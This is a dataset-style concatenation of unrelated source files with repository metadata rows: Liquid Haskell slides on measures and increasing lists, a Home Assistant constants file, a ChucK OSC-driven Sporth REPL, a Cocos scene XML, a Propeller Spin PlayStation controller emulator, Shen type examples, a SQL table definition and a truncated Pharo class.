Measures Are Uninterpreted
--------------------------
Other properties of `llen` asserted when typing **fold** & **unfold**
<br>
<div class="fragment">
\begin{spec}**Fold**<br>
z = C x y -- z :: {v | llen v = 1 + llen y}
\end{spec}
</div>
<br>
<div class="fragment">
\begin{spec}**Unfold**<br>
case z of
N -> e1 -- z :: {v | llen v = 0}
C x y -> e2 -- z :: {v | llen v = 1 + llen y}
\end{spec}
</div>
Measured Refinements
--------------------
Now, we can verify:
<br>
\begin{code}
{-@ length :: xs:L a -> EqLen xs @-}
length N = 0
length (C _ xs) = 1 + length xs
\end{code}
<div class="fragment">
<br>
Where `EqLen` is a type alias:
\begin{code}
{-@ type EqLen Xs = {v:Nat | v = llen Xs} @-}
\end{code}
</div>
List Indexing Redux
-------------------
We can type list lookup:
\begin{code}
{-@ (!) :: xs:L a -> LtLen xs -> a @-}
(C x _) ! 0 = x
(C _ xs) ! i = xs ! (i - 1)
_ ! _ = liquidError "never happens!"
\end{code}
<br>
<div class="fragment">
Where `LtLen` is a type alias:
\begin{code}
{-@ type LtLen Xs = {v:Nat | v < llen Xs} @-}
\end{code}
<br>
<a href="http://goto.ucsd.edu:8090/index.html#?demo=HaskellMeasure.hs" target= "_blank">Demo:</a>
What if we *remove* the precondition?
</div>
Multiple Measures
-----------------
<br>
**Multiple** measures by **conjoining** refinements.
<br>
<div class="fragment">
e.g. Red Black Tree
+ Height
+ Color
+ Nodes, etc.
<br>
Refined Data Constructors
=========================
{#refined-data-cons}
---------------------
Can encode *other* invariants **inside constructors**
<div class="fragment">
<br>
\begin{code}
{-@ data L a = N
| C { x :: a
, xs :: L {v:a| x <= v} } @-}
\end{code}
</div>
<br>
<div class="fragment">
Head `x` is less than **every** element of tail `xs`
</div>
<br>
<div class="fragment">
i.e. specifies **increasing** Lists
</div>
Increasing Lists
----------------
\begin{spec} <br>
data L a where
N :: L a
C :: x:a -> xs: L {v:a | x <= v} -> L a
\end{spec}
<br>
- <div class="fragment">We **check** property when **folding** `C`</div>
- <div class="fragment">We **assume** property when **unfolding** `C`</div>
Increasing Lists
----------------
<a href="http://goto.ucsd.edu:8090/index.html#?demo=HaskellInsertSort.hs" target= "_blank">Demo: Insertion Sort</a> (hover for inferred types)
<br>
\begin{code}
insertSort xs = foldr insert N xs
insert y (x `C` xs)
| y <= x = y `C` (x `C` xs)
| otherwise = x `C` insert y xs
insert y N = y `C` N
\end{code}
<br>
Recap
-----
<br>
<br>
1. Refinements: Types + Predicates
2. Subtyping: SMT Implication
3. **Measures:** Strengthened Constructors
<br>
<div class="fragment">Logic + Analysis for Collections</div>
<br>
<br>
<div class="fragment"><a href="03_HigherOrderFunctions.lhs.slides.html" target="_blank">[continue]</a></div>
| Literate Haskell | 5 | curiousleo/liquidhaskell | docs/slides/ETH14/lhs/02_Measures.lhs | [
"MIT",
"BSD-3-Clause"
] |
"""Constants for the Matrix integration."""
DOMAIN = "matrix"
SERVICE_SEND_MESSAGE = "send_message"
| Python | 1 | domwillcode/home-assistant | homeassistant/components/matrix/const.py | [
"Apache-2.0"
] |
public class SporthRepl {
Sporth s;
OscIn oin;
OscMsg msg;
fun void init() {
s => dac;
s.parse("0");
}
fun void launchSporth(string str)
{
s.parse(str);
me.yield();
}
fun void probe() {
6449 => oin.port;
oin.addAddress( "/foo/sporth, s" );
while( true )
{
oin => now;
while( oin.recv(msg) )
{
string str;
msg.getString(0) => str;
launchSporth(str);
<<< "got (via OSC):", str >>>;
}
}
}
}
SporthRepl repl;
repl.init();
repl.probe();
| ChucK | 4 | aleatoricforest/Sporth | util/chorth/repl/repl.ck | [
"MIT"
] |
<GameFile>
<PropertyGroup Name="MainScene" Type="Scene" ID="a2ee0952-26b5-49ae-8bf9-4f1d6279b798" Version="3.10.0.0" />
<Content ctype="GameProjectContent">
<Content>
<Animation Duration="0" Speed="1.0000" />
<ObjectData Name="Scene" ctype="GameNodeObjectData">
<Size X="960.0000" Y="640.0000" />
<Children>
<AbstractNodeData Name="Default" ActionTag="953446860" Tag="5" IconVisible="False" ctype="SpriteObjectData">
<Size X="960.0000" Y="640.0000" />
<AnchorPoint ScaleX="0.5000" ScaleY="0.5000" />
<Position X="480.0000" Y="320.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition X="0.5000" Y="0.5000" />
<PreSize X="1.0000" Y="1.0000" />
<FileData Type="Normal" Path="HelloWorld.png" Plist="" />
<BlendFunc Src="1" Dst="771" />
</AbstractNodeData>
<AbstractNodeData Name="btn_login" ActionTag="1396953897" Tag="3" IconVisible="False" LeftMargin="188.0000" RightMargin="726.0000" TopMargin="135.0000" BottomMargin="469.0000" TouchEnable="True" FontSize="14" ButtonText="链接" Scale9Enable="True" LeftEage="15" RightEage="15" TopEage="11" BottomEage="11" Scale9OriginX="15" Scale9OriginY="11" Scale9Width="16" Scale9Height="14" ShadowOffsetX="2.0000" ShadowOffsetY="-2.0000" ctype="ButtonObjectData">
<Size X="46.0000" Y="36.0000" />
<AnchorPoint ScaleX="0.5000" ScaleY="0.5000" />
<Position X="211.0000" Y="487.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition X="0.2198" Y="0.7609" />
<PreSize X="0.0479" Y="0.0562" />
<TextColor A="255" R="65" G="65" B="70" />
<DisabledFileData Type="Default" Path="Default/Button_Disable.png" Plist="" />
<PressedFileData Type="Default" Path="Default/Button_Press.png" Plist="" />
<NormalFileData Type="Default" Path="Default/Button_Normal.png" Plist="" />
<OutlineColor A="255" R="255" G="0" B="0" />
<ShadowColor A="255" R="110" G="110" B="110" />
</AbstractNodeData>
</Children>
</ObjectData>
</Content>
</Content>
</GameFile> | Csound | 4 | cyz0054/cocos2dx_lua_skynet_client | cocosstudio/MainScene.csd | [
"MIT"
] |
{{
This object emulates a Playstation controller, with support
for all known Dual Shock controller commands.
This emulator is based on my own reverse engineering notes:
http://docs.google.com/View?docid=ddbmmwds_5cw4pk3
Each controller emulator can have several input/output
buffers attached to it:
- At most one actuator buffer, for force-feedback data received from the PSX
- At most NUM_STATE_BUFFERS state buffers, holding controller states to
read when we're polled by the PSX. If multiple buffers are attached, their
data is mixed. Button state is OR'ed, axes and pressure-sensitive buttons
are summed and clamped.
-- Micah Dowty <[email protected]>
}}
CON
' Pin assignments, starting with base_pin. These
' are the same as the pin assignments on the Unicone2
' controller connectors from pin 1 to pin 5.
PIN_DAT = 0
PIN_CMD = 1
PIN_SEL = 2
PIN_CLK = 3
PIN_ACK = 4
STATE_BUFFER_LEN = 18
NUM_STATE_BUFFERS = 4
ACTUATOR_BUFFER_LEN = 2
NUM_ACTUATOR_BUFFERS = 4
' ACK timings, based on values observed on a real Dual Shock controller
ACK_DELAY_US = 8
ACK_WIDTH_US = 3
' Log base 2 of LED fade rate (in steps per clock)
LED_FADE_RATE = 6
' Startup/reset delay, in milliseconds
STARTUP_DELAY_MS = 200
PADDING_BYTE = $5A
DIGITAL_MODE = $40
ANALOG_MODE = $70
ESCAPE_MODE = $F0
MODE_MASK = $F0
REPLY_LEN_ESCAPE = $3
REPLY_LEN_DIGITAL = $1
REPLY_LEN_ANALOG = $3
RESULT_FORMAT_ESCAPE = $0000003F
RESULT_FORMAT_DIGITAL = $00000003
RESULT_FORMAT_ANALOG = $0000003F
' ext_status fields which seem to identify controller type or capabilities.
' Use these as arguments to start() or set_controller_type().
CONTROLLER_ANALOG = $02000201 ' Required for Guitar Hero to detect a guitar controller
CONTROLLER_DUAL_SHOCK = $02000203 ' Required for the PS2 to initialize pressure-sensitive buttons
' Offsets within the cog communication area
_base_pin = 0
_ack_delay_ticks = _base_pin + 4
_ack_width_ticks = _ack_delay_ticks + 4
_controller = _ack_width_ticks + 4
_startup_cnt = _controller + 4
_led_pin = _startup_cnt + 4
_actuator_ptr_list = _led_pin + 4
_state_ptr_list = _actuator_ptr_list + (4 * NUM_ACTUATOR_BUFFERS)
VAR
long cog
' Communication area between cog and object
long base_pin
long ack_delay_ticks
long ack_width_ticks
long controller
long startup_cnt
long led_pin
long actuator_ptr_list[NUM_ACTUATOR_BUFFERS]
long state_ptr_list[NUM_STATE_BUFFERS]
PUB start(basepin, ledpin, controller_type) : okay
'' Start a cog running a new controller emulator.
'' The emulator initially has no attached buffers.
''
'' The controller must be connected via 5 pins starting at basepin.
'' 'controller_type' tells us what kind of controller to emulate.
'' It must be one of our CONTROLLER_* constants.
''
'' The emulator supports an optional active-high status LED. The
'' LED will glow when the emulator is actively being polled by
'' a console. To disable LED support, pass in -1 for ledpin.
base_pin := basepin
controller := controller_type
ack_delay_ticks := ACK_DELAY_US * (clkfreq / 1000000)
ack_width_ticks := ACK_WIDTH_US * (clkfreq / 1000000)
startup_cnt := cnt + STARTUP_DELAY_MS * (clkfreq / 1000)
led_pin := ledpin
longfill(@state_ptr_list, 0, NUM_STATE_BUFFERS)
longfill(@actuator_ptr_list, 0, NUM_ACTUATOR_BUFFERS)
okay := cog := cognew(@entry, @base_pin) + 1
PUB stop
'' Frees a cog.
if cog
cogstop(cog~ - 1)
PUB set_controller_type(controller_type)
'' Change the emulator's controller type. This requires
'' resetting the emulator completely. The emulator will be
'' nonresponsive until its startup delay expires and the PS2
'' completes its initialization sequence.
''
'' This has no effect if controller_type is already current.
if controller_type <> controller
startup_cnt := cnt + STARTUP_DELAY_MS * (clkfreq / 1000)
controller := controller_type
cogstop(cog~ - 1)
cog := cognew(@entry, @base_pin) + 1
PUB add_actuator_buffer(buffer) : okay | i
'' Add an additional actuator buffer for this controller to write.
'' 'buffer' must point to an area of at least ACTUATOR_BUFFER_LEN bytes.
''
'' Returns TRUE on success, or FALSE if NUM_STATE_BUFFERS buffers
'' are already attached.
repeat i from 0 to NUM_ACTUATOR_BUFFERS - 1
if actuator_ptr_list[i] == 0
actuator_ptr_list[i] := buffer
okay := TRUE
quit
PUB add_state_buffer(buffer) : okay | i
'' Add an additional state buffer for this controller to read.
'' 'buffer' must point to an area of at least STATE_BUFFER_LEN bytes.
''
'' Returns TRUE on success, or FALSE if NUM_STATE_BUFFERS buffers
'' are already attached.
repeat i from 0 to NUM_STATE_BUFFERS - 1
if state_ptr_list[i] == 0
state_ptr_list[i] := buffer
okay := TRUE
quit
PUB remove_actuator_buffer(buffer) : okay | i
'' Remove an actuator buffer which was previously attached with
'' add_actuator_buffer. Note that, since the controller emulator
'' runs asynchronously, there is no guarantee that 'buffer'
'' will not be accessed after this method returns.
''
'' Returns TRUE on success, or FALSE if 'buffer' is not
'' attached to the emulator.
repeat i from 0 to NUM_ACTUATOR_BUFFERS - 1
if actuator_ptr_list[i] == buffer
actuator_ptr_list[i] := 0
okay := TRUE
quit
PUB remove_state_buffer(buffer) : okay | i
'' Remove a state buffer which was previously attached with
'' add_state_buffer. Note that, since the controller emulator
'' runs asynchronously, there is no guarantee that 'buffer'
'' will not be accessed after this method returns.
''
'' Returns TRUE on success, or FALSE if 'buffer' is not
'' attached to the emulator.
repeat i from 0 to NUM_STATE_BUFFERS - 1
if state_ptr_list[i] == buffer
state_ptr_list[i] := 0
okay := TRUE
quit
DAT
org
'------------------------------------------------------
' Entry point.
entry mov t1, par ' Initialize all pin masks
add t1, #_base_pin
rdlong t2, t1
mov dat_mask, #1
shl dat_mask, t2
mov cmd_mask, dat_mask
shl cmd_mask, #1
mov sel_mask, dat_mask
shl sel_mask, #2
mov clk_mask, dat_mask
shl clk_mask, #3
mov ack_mask, dat_mask
shl ack_mask, #4
mov clk_sel_mask, clk_mask
or clk_sel_mask, sel_mask
call #led_init
mov t1, par ' Initialize ext_status according to controller type
add t1, #_controller
rdlong ext_status, t1
mov t1, par ' Wait for startup_cnt
add t1, #_startup_cnt
rdlong t2, t1
waitcnt t2, #0
'------------------------------------------------------
' Packet receive loop
receive_packet
call #led_update ' Update the status LED while we wait.
test sel_mask, ina wc ' Make sure SEL is high (previous packet is ended)
if_nc jmp #receive_packet
mov dira, led_mask ' All PSX outputs high-Z while not selected
mov outa, #0
mov byte_index, #0 ' Reset beginning of packet
:wait_sel_neg ' Wait for a falling edge on SEL
call #led_update ' Update the status LED while we wait.
test sel_mask, ina wc
if_c jmp #:wait_sel_neg
jmp #receive_packet
call #txrx_byte ' Read the address byte
xor rx_data, #$01 nr,wz ' Is this packet for a controller on slot 1?
if_nz jmp #receive_packet ' If not, ignore the rest of the packet.
call #send_ack ' Acknowledge the address byte
or dira, dat_mask ' Enable output driver
mov tx_data, mode_byte ' Send current mode and reply length
call #txrx_byte ' Receive command byte
xor rx_data, #$40 ' All commands have 4 as their high nybble
and rx_data, #$F0 nr,wz
if_nz jmp #receive_packet ' Not between $40 and $4F? Don't respond.
add rx_data, #:cmd_table ' Jump via the cmd_table
jmp rx_data
:cmd_table jmp #cmd_init_pressure ' $40
jmp #cmd_get_available_poll_results ' $41
jmp #cmd_poll ' $42
jmp #cmd_escape ' $43
jmp #cmd_set_major_mode ' $44
jmp #cmd_read_ext_status_1 ' $45
jmp #cmd_read_const_1 ' $46
jmp #cmd_read_const_2 ' $47
jmp #receive_packet ' $48 (invalid)
jmp #receive_packet ' $49 (invalid)
jmp #receive_packet ' $4a (invalid)
jmp #receive_packet ' $4b (invalid)
jmp #cmd_read_const_3 ' $4c
jmp #cmd_set_poll_cmd_format ' $4d
jmp #receive_packet ' $4e (invalid)
jmp #cmd_set_poll_result_format ' $4f
'------------------------------------------------------
' Byte receive/transmit subroutine
'
' The Playstation bus is full-duplex. We always transmit
' a byte concurrently with receiving a byte. This routine
' sends 'tx_data' while receiving 'rx_byte'.
'
' Multiple entry points exist for various data widths.
'
' Note that this routine does not enable the output driver
' for DAT. The caller is responsible for doing so only when
' this device has been addressed. The original PSX shares
' the same physical bus for controller and memory card
' accesses, so we must be sure not to create bus contention
' with the memory card.
'
' Bits are output on the falling edge of CLK, input on the
' rising edge of CLK. Each byte begins with a falling edge.
'
' The last rising edge is timestamped, for send_ack.
txrx test sel_mask, ina wc ' Abort if SEL went high
if_c jmp #receive_packet
mov t1, #8
:bit
test tx_data, #1 wc
waitpne clk_mask, clk_sel_mask ' Wait for CLK- or SEL+
muxc outa, dat_mask ' Write tx_data[0]
ror tx_data, #1 ' Shift out tx_data[0]
test sel_mask, ina wc ' Abort if SEL goes high
if_c jmp #receive_packet
waitpne zero, clk_sel_mask ' Wait for CLK+ or SEL+
test cmd_mask, ina wc ' Read CMD bit
mov clk_posedge_cnt, cnt ' Timestamp this rising edge
rcr rx_data, #1 ' Shift into rx_data[31]
test sel_mask, ina wc ' Abort if SEL went high
if_c jmp #receive_packet
djnz t1, #:bit ' Next bit...
txrx_ret ret
txrx_byte call #txrx
rol rx_data, #8 ' Right-justify and trim rx_byte
and rx_data, #$FF
txrx_byte_ret ret
txrx_16 call #txrx
call #send_ack
call #txrx
rol rx_data, #16
and rx_data, mask_16bit
txrx_16_ret ret
txrx_32 call #txrx
call #send_ack
call #txrx
call #send_ack
call #txrx
call #send_ack
call #txrx
txrx_32_ret ret
'------------------------------------------------------
' send_ack subroutine.
'
' This routine sends a timed ACK pulse based on ack_delay_ticks,
' ack_width_ticks, and the timestamp saved by the last txrx_byte.
send_ack
mov t1, par
add t1, #_ack_delay_ticks
rdlong t2, t1 ' Read ack_delay_ticks
mov t1, par
add t1, #_ack_width_ticks
rdlong t3, t1 ' Read ack_width_ticks
add t2, clk_posedge_cnt ' Add ack_delay_ticks to the +CLK timestamp
waitcnt t2, t3 ' Wait for the ACK pulse to start, and update t2
or dira, ack_mask ' Pull ACK low
waitcnt t2, #0 ' Wait for the ACK pulse to end
xor dira, ack_mask ' Float ACK
send_ack_ret ret
'------------------------------------------------------
' Command prologues
'
' This is the prologue to normal non-escape commands.
' It acknowledges the command byte and sends a padding byte.
' The padding byte is NOT acknowledged.
begin_cmd
call #send_ack
mov tx_data, #PADDING_BYTE
call #txrx_byte
begin_cmd_ret ret
' Prologue for escape commands. If we're not in escape mode,
' reject this command. In this version, the padding byte is
' acknowledged.
begin_escape_cmd
mov t1, mode_byte
and t1, #MODE_MASK
xor t1, #ESCAPE_MODE
if_nz jmp #receive_packet
call #begin_cmd
call #send_ack
begin_escape_cmd_ret ret
'------------------------------------------------------
' Command: INIT_PRESSURE
'
' This command performs unknown initialization for an individual
' pressure sensitive button.
'
' Command data:
' 0. Button number (0x00 - 0x0b, in the same order that
' the buttons are listed in the response packet)
' 1. 0x02 (?)
' 2. 0x00 (?)
' 3. 0x00 (?)
' 4. 0x00 (?)
' 5. 0x00 (?)
'
' Response data
' 0. 0x00 (?)
' 1. 0x00 (?)
' 2. 0x02 (?)
' 3. 0x00 (?)
' 4. 0x00 (?)
' 5. 0x5a (Padding?)
cmd_init_pressure call #begin_escape_cmd
mov tx_data, #0
call #txrx_16
call #send_ack
mov tx_data, #2
call #txrx_byte
call #send_ack
mov tx_data, #0
call #txrx_16
call #send_ack
mov tx_data, #PADDING_BYTE
call #txrx_byte
jmp #receive_packet
'------------------------------------------------------
' Command: GET_AVAILABLE_POLL_RESULTS
'
' Returns:
' - 32-bit available_results flags (1 bit for each available byte of POLL data)
' - One more byte of flags, unused (0)
' - One padding byte
cmd_get_available_poll_results
call #begin_escape_cmd
mov tx_data, available_results
call #txrx_32
call #send_ack
mov tx_data, #0
call #txrx_byte
call #send_ack
mov tx_data, #PADDING_BYTE
call #txrx_byte
call #send_ack
jmp #receive_packet
'------------------------------------------------------
' Command: POLL/ESCAPE
'
' The POLL and ESCAPE commands are substantially the same.
' This routine implements them both, by swapping in different
' rx_data handlers.
'
' Arguments:
' - For ESCAPE, the first command-specific argument selects
' whether we're entering or exiting escape mode.
'
' - For POLL, each argument may be mapped to an
' actuator by SET_POLL_CMD_FORMAT
'
' Results:
' - For each bit set in result_format, returns one byte of data
' aggregated from all state buffers present in state_ptr_list.
cmd_escape movs poll_rx_callback, #pollcb_escape
jmp #cmd_poll_or_escape
cmd_poll movs poll_rx_callback, #pollcb_poll
cmd_poll_or_escape call #begin_cmd
call #led_bright
mov byte_index, #0 ' Iterate over result bytes
mov result_iter, result_format
poll_byte_loop test result_iter, #1 wc ' C = 1, output this byte
if_nc jmp #poll_skip_byte
' Perform poll result mixing in various ways, depending on
' what type of byte this is. The first two are buttons, the
' next four are analog axes, and the rest are pressure sensors.
sub byte_index, #2 nr,wc
if_c jmp #mix_button_byte
sub byte_index, #6 nr,wc
if_c jmp #mix_axis_byte
jmp #mix_pressure_byte
mix_ret
' Note that we are acking the previous byte here. This lets us
' perform result mixing and store actuator data while we wait for
' the ACK delay. The extra time we save this way is critical to
' support the 500 kbps mode used by some PS2 games.
call #send_ack
call #txrx_byte
' Act on the received data via a callback that changes
' depending on whether this is POLL or ESCAPE.
poll_rx_callback jmp #0
poll_rx_callback_ret
poll_skip_byte add byte_index, #1 ' Next byte...
shr result_iter, #1 wz ' Z = 1, this was the last byte
if_nz jmp #poll_byte_loop
jmp #receive_packet
'--------------------------------------
' Poll RX callback: POLL command
'
' This callback is responsible for storing rx_byte
' in any applicable actuator buffers.
'
' This also unconditionally kicks us out of
' escape mode, if we were in it.
pollcb_poll
mov mode_byte, preescape_mode_byte
mov result_format, preescape_result_format
' Determine which actuator this byte represents
sub byte_index, #4 nr,wc ' We only support the first 4 cmd bytes
if_nc jmp #poll_rx_callback_ret
mov t1, byte_index ' Convert byte_index to a bit offset...
shl t1, #3 ' ... within cmd_format
mov actuator_num, cmd_format
shr actuator_num, t1
and actuator_num, #$FF ' And extract the actuator_num for this byte_index.
sub actuator_num, #ACTUATOR_BUFFER_LEN nr,wc
if_nc jmp #poll_rx_callback_ret ' Ignore disabled or out-of-range actuators
' Write this actuator value to all attached actuator buffers
mov t2, par ' Point at the first actuator buffer
add t2, #_actuator_ptr_list
mov t3, #NUM_ACTUATOR_BUFFERS ' Count the remaining actuator buffers
:buffer rdlong t4, t2 wz ' Read the current buffer pointer
add t4, actuator_num ' Offset by the actuator number
add t2, #4 ' Next buffer...
if_nz wrbyte rx_data, t4 ' Write the actuator data
djnz t3, #:buffer
jmp #poll_rx_callback_ret
'--------------------------------------
' Poll RX callback: ESCAPE command
'
' This callback switches into or out of escape mode,
' depending on the value of the byte at byte_index 0.
pollcb_escape
xor byte_index, #0 nr,wz
if_nz jmp #poll_rx_callback_ret ' Not byte_index 0, ignore it
xor rx_data, #0 nr,wz
' Exiting escape mode
if_z mov mode_byte, preescape_mode_byte
if_z mov result_format, preescape_result_format
' Entering escape mode
if_nz mov mode_byte, #(ESCAPE_MODE | REPLY_LEN_ESCAPE)
if_nz mov result_format, #RESULT_FORMAT_ESCAPE
jmp #poll_rx_callback_ret
'--------------------------------------
' Poll result mixer: Buttons.
'
mix_button_byte
mov tx_data, #$FF ' Default value, all buttons released
movs mixer_callback, #button_mix_callback
jmp #mixer
button_mix_callback and tx_data, t1 ' Logically OR the inverted buttons
jmp #mixer_callback_ret
'--------------------------------------
' Poll result mixer: Axes.
'
mix_axis_byte
mov tx_data, #$80 ' Default value, centered
movs mixer_callback, #axis_mix_callback
jmp #mixer
axis_mix_callback add tx_data, t1 ' Add axes
sub tx_data, #$80 ' Subtract the duplicate offset
maxs tx_data, #$FF ' Clamp
mins tx_data, #$00
jmp #mixer_callback_ret
'--------------------------------------
' Poll result mixer: Pressure sensors.
'
mix_pressure_byte
mov tx_data, #$00 ' Default value, no pressure
movs mixer_callback, #pressure_mix_callback
jmp #mixer
pressure_mix_callback add tx_data, t1 ' Combine pressure
maxs tx_data, #$FF ' Clamp
jmp #mixer_callback_ret
'--------------------------------------
' Generic poll result mixer. Expects the
' default value to be set already. This
' iterates t1 over each value to be mixed,
' using a mixer callback routine pointed to
' by the jmp instruction at mixer_callback.
'
mixer mov t2, par ' Point at the first state buffer
add t2, #_state_ptr_list
mov t3, #NUM_STATE_BUFFERS ' Count the remaining state buffers
mixer_buffer_loop rdlong t4, t2 wz ' Read the state buffer pointer
add t4, byte_index ' Offset by the current byte index
if_nz rdbyte t1, t4 ' Get the current byte at this buffer
mixer_callback
if_nz jmp #0 ' Allow the callback to operate on this byte
mixer_callback_ret
add t2, #4 ' Next state buffer...
djnz t3, #mixer_buffer_loop
jmp #mix_ret
'------------------------------------------------------
' Command: SET_MAJOR_MODE
'
' Sets analog mode if the first byte is nonzero, digital mode
' otherwise. All reply bytes are zero. This command also resets
' various controller state, such as the actuator and reply byte
' mappings.
cmd_set_major_mode call #begin_escape_cmd
mov tx_data, #0
call #txrx_byte
call #send_ack
xor rx_data, #0 nr,wz
' Digital mode
if_z mov preescape_mode_byte, #(DIGITAL_MODE | REPLY_LEN_DIGITAL)
if_z mov preescape_result_format, #RESULT_FORMAT_DIGITAL
' Analog mode
if_nz mov preescape_mode_byte, #(ANALOG_MODE | REPLY_LEN_ANALOG)
if_nz mov preescape_result_format, #RESULT_FORMAT_ANALOG
muxnz ext_status, extstatus_analog
call #txrx_byte ' Send 5 more zeroes
call #send_ack
call #txrx_32
jmp #receive_packet
'------------------------------------------------------
' Command: READ_EXT_STATUS_1
'
' Response data:
' - 0x03 (?) on Dual Shock controller, 0x01 (?) for Guitar Hero controller
' - 0x02 (?)
' - 0x01 if the "Analog" light is on, 0x00 if it's off.
' - 0x02 (?)
' - 0x01 (?)
' - 0x00 (?)
cmd_read_ext_status_1 call #begin_escape_cmd
mov tx_data, ext_status
call #txrx_32
call #send_ack
mov tx_data, #$0001
call #txrx_16
jmp #receive_packet
'------------------------------------------------------
' Command: READ_CONST_1/2/3
'
' These commands returns unknown constant data. The
' first command byte is always an address offset. The
' first two response bytes are always zero.
cmd_read_const_1 movs const_ptr, #constdata_1
jmp #cmd_read_const
cmd_read_const_2 movs const_ptr, #constdata_2
jmp #cmd_read_const
cmd_read_const_3 movs const_ptr, #constdata_3
cmd_read_const call #begin_escape_cmd
mov tx_data, #0 ' First byte is const address
call #txrx_byte
const_ptr add rx_data, #0 ' This is filled in with a constdata_* address
movs :indirect, rx_data
call #send_ack ' Unused (zero) byte
call #txrx_byte
call #send_ack
:indirect mov tx_data, 0 ' Load tx_data from the computed pointer
call #txrx_32 ' .. and send the constant word.
jmp #receive_packet
'------------------------------------------------------
' Command: SET_POLL_CMD_FORMAT
'
' Sets cmd_format, the mapping from poll bytes to actuator indices.
' Our return value is the previous cmd_format.
'
' We only use the first 32 bits. The last two actuator bytes are ignored.
cmd_set_poll_cmd_format call #begin_escape_cmd
mov tx_data, cmd_format
call #txrx_32
call #send_ack
mov cmd_format, rx_data
mov tx_data, mask_16bit
call #txrx_16
jmp #receive_packet
'------------------------------------------------------
' Command: SET_POLL_RESULT_FORMAT
'
' Sets result_format, the bitmask of poll result bytes that the
' console wishes to receive. This command is typically used to
' enable and disable pressure-sensitive buttons.
'
' Note that the new result length doesn't take effect until we leave
' escape mode. (Escape mode has a fixed result format, in order to
' match the fixed reply length.)
cmd_set_poll_result_format
call #begin_escape_cmd
mov tx_data, #0 ' Always 00 00 00 00
call #txrx_32
call #send_ack
mov preescape_result_format, rx_data
mov tx_data, #0 ' Always 00
call #txrx_byte
call #send_ack
mov tx_data, #PADDING_BYTE
call #txrx_byte
' Count the number of one bits in preescape_result_format,
' and use it to set the length portion of preescape_result_format.
mov t1, #0
mov t2, preescape_result_format
:bit test t2, #1 wc
if_c add t1, #1
shr t2, #1 wz
if_nz jmp #:bit
and preescape_mode_byte, #$F0
shr t1, #1
add preescape_mode_byte, t1
jmp #receive_packet
'------------------------------------------------------
' LED Driver.
'
' We use Counter 1 to drive the LED with PWM. It hops to full brightness
' when 'led_bright' is called, and gradually fades thereafter.
' Initialize the LED
led_init mov t1, par
add t1, #_led_pin
rdlong t2, t1 ' Read led_pin
and t2, #$3F
xor t2, #$3F nr,wz ' Was this -1?
if_nz movs ctra, t2 ' Set CTRA pin number
if_nz movi ctra, #%00110_000 ' Set CTRA to single-ended DUTY mode
if_z movi ctra, #0 ' Disable CTRA if led_pin == -1
if_nz mov led_mask, #1 ' If LED is enabled, set led_mask correctly
if_nz shl led_mask, t2
if_z mov led_mask, #0 ' Zero the led_mask if led_pin == -1
mov dira, led_mask
call #led_bright ' Start out with a bright pulse (lamp test)
led_init_ret ret
' Hop to full brightness (Reset the fade)
led_bright mov led_timestamp, cnt
mov frqa, max_int
mov led_fade_active, #1
led_bright_ret ret
' Update the LED's fade progress
led_update
test led_fade_active, #1 wc
if_nc jmp #:done
mov t1, cnt
sub t1, led_timestamp ' How long since the last led_bright?
shl t1, #LED_FADE_RATE-1 ' Multiply by fade rate, while extracting the
shl t1, #1 wc ' bit to the left of the multiplied MSB.
' If C=1, we're done fading to zero and we
' need to clamp in order to avoid wraparound.
if_c mov frqa, #0
if_c mov led_fade_active, #0
if_nc mov t2, max_int ' Subtract from max brightness
if_nc sub t2, t1 wc
if_nc mov frqa, t2
:done
led_update_ret ret
'------------------------------------------------------
' Constant data.
zero long 0
mask_16bit long $FFFF
max_int long $FFFFFFFF
available_results long $0003FFFF
extstatus_analog long $00010000
constdata_1 long $0a000201
long $14010101
constdata_2 long $00010002
constdata_3 long $00000400
long $00000700
'------------------------------------------------------
' Initialized data.
mode_byte long DIGITAL_MODE | REPLY_LEN_DIGITAL
preescape_mode_byte long DIGITAL_MODE | REPLY_LEN_DIGITAL
result_format long RESULT_FORMAT_DIGITAL
preescape_result_format long RESULT_FORMAT_DIGITAL
cmd_format long $00000000
'------------------------------------------------------
' Uninitialized data.
ext_status res 1 ' "Extended status" bits. Mostly controller capabilities?
t1 res 1
t2 res 1
t3 res 1
t4 res 1
tx_data res 1
rx_data res 1
clk_posedge_cnt res 1
byte_index res 1
result_iter res 1
actuator_num res 1
led_timestamp res 1
led_fade_active res 1
dat_mask res 1 ' Output, high-z when not addressed
cmd_mask res 1 ' Input
clk_mask res 1 ' Input
sel_mask res 1 ' Input
ack_mask res 1 ' Output, open-collector
clk_sel_mask res 1
led_mask res 1
fit
| Propeller Spin | 5 | deets/propeller | libraries/community/p1/All/Playstation 2 Controller Emulator/psx_controller_emulator.spin | [
"MIT"
] |
(\* functions-and-types.shen *\)
(\* Mac Radigan *\)
(\* adapted from Dr. Mark Tarver's examples at http://shenlanguage.org *\)
(\* see http://shenlanguage.org/learn-shen/index.html#9.2%20Functions%20and%20Types *\)
(\* enable type checking *\)
(tc +)
(define member
{A --> (list A) --> boolean}
_ [] -> false
X [X | _] -> true
X [_ | Y] -> (member X Y))
(define square
{number --> number}
X -> (* X X))
(define swap
{(A * B) --> (B * A)}
(@p X Y) -> (@p Y X))
(define unit-vector?
{(vector A) --> boolean}
(@v _ <>) -> true
_ -> false)
(define unit-string?
{string --> boolean}
(@s _ "") -> true
_ -> false)
(member 1 [1 2 3])
(square 4)
(swap (@p 1 2))
(unit-vector? (@v 1 <>))
(unit-string? "a")
(\* *EOF* \*)
| Shen | 5 | ajnavarro/language-dataset | data/github.com/radiganm/shen-dev/0816137200699b9dcadf214f0d80731ac5193e5e/functions_and_types/functions-and-types.shen | [
"MIT"
] |
CREATE TABLE `tb_jhqwojqbtj` (
`col_flcxltquqr` longtext,
`col_ksprsgkzrb` longtext CHARACTER SET utf8mb4,
`col_ndohgxbgox` float DEFAULT '1',
`col_egszzxhsvf` enum('enum_or_set_0','enum_or_set_1','enum_or_set_2') NOT NULL,
`col_cuzojqplje` year(4) DEFAULT '2019',
`col_sexypgjnak` date DEFAULT '2019-07-04'
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
| SQL | 2 | yuanweikang2020/canal | parse/src/test/resources/ddl/alter/mysql_12.sql | [
"Apache-2.0"
] |
Class {
#name : #GtNotificationMessageExamples,
#superclass : #GtNotificationCommonExamples,
#category : #'GToolkit-Notifications-Examples'
}
{ #category : #'examples - message notification' }
GtNotificationMessageExamples >> basicMessageElement [
<gtExample>
